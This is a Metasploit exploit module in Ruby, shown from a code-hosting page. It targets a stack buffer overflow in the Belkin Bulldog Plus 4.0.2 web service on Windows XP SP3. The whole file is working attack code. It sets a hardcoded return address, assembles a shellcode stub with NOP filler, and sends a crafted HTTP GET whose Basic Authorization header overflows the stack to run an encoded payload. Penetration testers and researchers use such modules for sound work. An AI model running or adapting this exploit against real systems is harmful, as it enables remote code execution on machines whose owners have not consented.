72 lines
1.9 KiB
Ruby
72 lines
1.9 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Belkin Bulldog Plus Web Service Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in Belkin Bulldog Plus
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4.0.2 build 1219. When sending a specially crafted http request,
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an attacker may be able to execute arbitrary code.
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},
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'Author' => [ 'MC' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'OSVDB', '54395' ],
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[ 'BID', '34033' ],
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[ 'EDB', '8173' ]
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],
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'Privileged' => true,
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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'AllowWin32SEH' => true
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},
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'Payload' =>
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{
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'Space' => 750,
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'BadChars' => "\x00",
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'StackAdjustment' => -3500,
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'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
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'DisableNops' => 'True',
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows XP SP3 English', { 'Ret' => 0x7e4456f7 } ],
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Mar 8 2009'))
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end
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def exploit
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c = connect
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dwerd = Metasm::Shellcode.assemble(Metasm::Ia32.new, "call dword [esp+58h]").encode_string
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filler = [target.ret].pack('V') + dwerd + make_nops(28)
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print_status("Trying target #{target.name}...")
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send_request_raw({
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'uri' => payload.encoded,
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'version' => '1.1',
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'method' => 'GET',
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'headers' =>
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{
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'Authorization' => "Basic #{Rex::Text.encode_base64(filler)}"
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}
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}, 5)
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handler
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end
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end
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